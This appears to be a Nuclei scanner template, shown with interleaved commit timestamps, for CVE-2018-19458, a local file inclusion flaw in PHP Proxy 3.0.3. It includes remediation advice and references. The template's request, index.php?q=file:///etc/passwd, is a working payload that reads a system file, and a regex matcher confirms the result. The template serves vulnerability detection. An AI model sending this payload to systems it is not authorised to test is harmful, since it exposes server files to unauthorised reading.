2021-08-02 23:20:58 +00:00
id : CVE-2018-19458
info :
name : PHP Proxy 3.0.3 - Local File Inclusion
author : daffainfo
severity : high
2022-06-20 16:23:09 +00:00
description : |
PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).
2023-09-06 12:57:14 +00:00
remediation : |
Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
2021-08-19 13:59:12 +00:00
reference :
2021-08-02 23:20:58 +00:00
- https://www.exploit-db.com/exploits/45780
2022-05-17 09:18:12 +00:00
- https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
2022-06-13 18:55:00 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-19458
2022-09-23 18:06:19 +00:00
- https://www.exploit-db.com/exploits/45780/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-19458
cwe-id : CWE-287
2023-10-14 11:27:55 +00:00
epss-score : 0.08619
2023-10-26 18:00:24 +00:00
epss-percentile : 0.93774
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : php-proxy
product : php-proxy
tags : edb,cve,cve2018,lfi,proxy
2021-08-02 23:20:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-02 23:20:58 +00:00
- method : GET
path :
- "{{BaseURL}}/index.php?q=file:///etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-08-02 23:20:58 +00:00
- type : status
status :
- 200
2023-10-27 06:32:23 +00:00
# digest: 490a0046304402200f1c3c6ee76bf284d646c7a62abbc38c074359fcf1fac54914ca97f3d623c2a50220567c70c7146adb1dc60bab4b8785bd0316ba740f8e161f80e22e7aeb062d191c:922c64590222798bb761d5b6d8e72950